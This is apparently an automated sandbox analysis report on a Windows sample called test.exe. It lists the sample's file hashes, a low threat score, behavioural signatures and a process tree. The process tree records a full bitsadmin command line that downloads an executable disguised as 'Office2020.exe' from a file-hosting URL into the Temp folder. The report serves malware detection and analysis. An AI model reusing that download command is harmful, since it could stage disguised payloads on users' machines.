Analysis
-
max time kernel
149s -
max time network
67s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
11-07-2020 15:14
Static task
static1
Behavioral task
behavioral1
Sample
test.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
test.exe
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
test.exe
-
Size
962KB
-
MD5
1d219620d338e194ad8566607a65563e
-
SHA1
631959d12747322fec08546d21741b7d5aef9044
-
SHA256
9334651192977152734e91815472045490b3fbdeb88c0bd6a1e55e85f2bf8946
-
SHA512
11e57efdcd30676082c633fc8532c806f8ec5cedc5e3eaf51f8d8ddc2d0c04a6bad0ef8d82d6e40dbed08757ba1a819047457bb0783402d5324876bfed732ac2
Score
1/10
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
test.exepid process 2916 test.exe 2916 test.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
-
Suspicious use of FindShellTrayWindow 195 IoCs
Processes:
test.exepid process 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe -
Suspicious use of SendNotifyMessage 195 IoCs
Processes:
test.exepid process 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe 2916 test.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
test.exedescription pid process target process PID 2916 wrote to memory of 636 2916 test.exe bitsadmin.exe PID 2916 wrote to memory of 636 2916 test.exe bitsadmin.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\test.exe"C:\Users\Admin\AppData\Local\Temp\test.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal https://srv-file16.gofile.io/download/1W945u/Office2020.exe C:\Users\Admin\AppData\Local\Temp\Office2020.exe2⤵
- Download via BitsAdmin
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/636-0-0x0000000000000000-mapping.dmp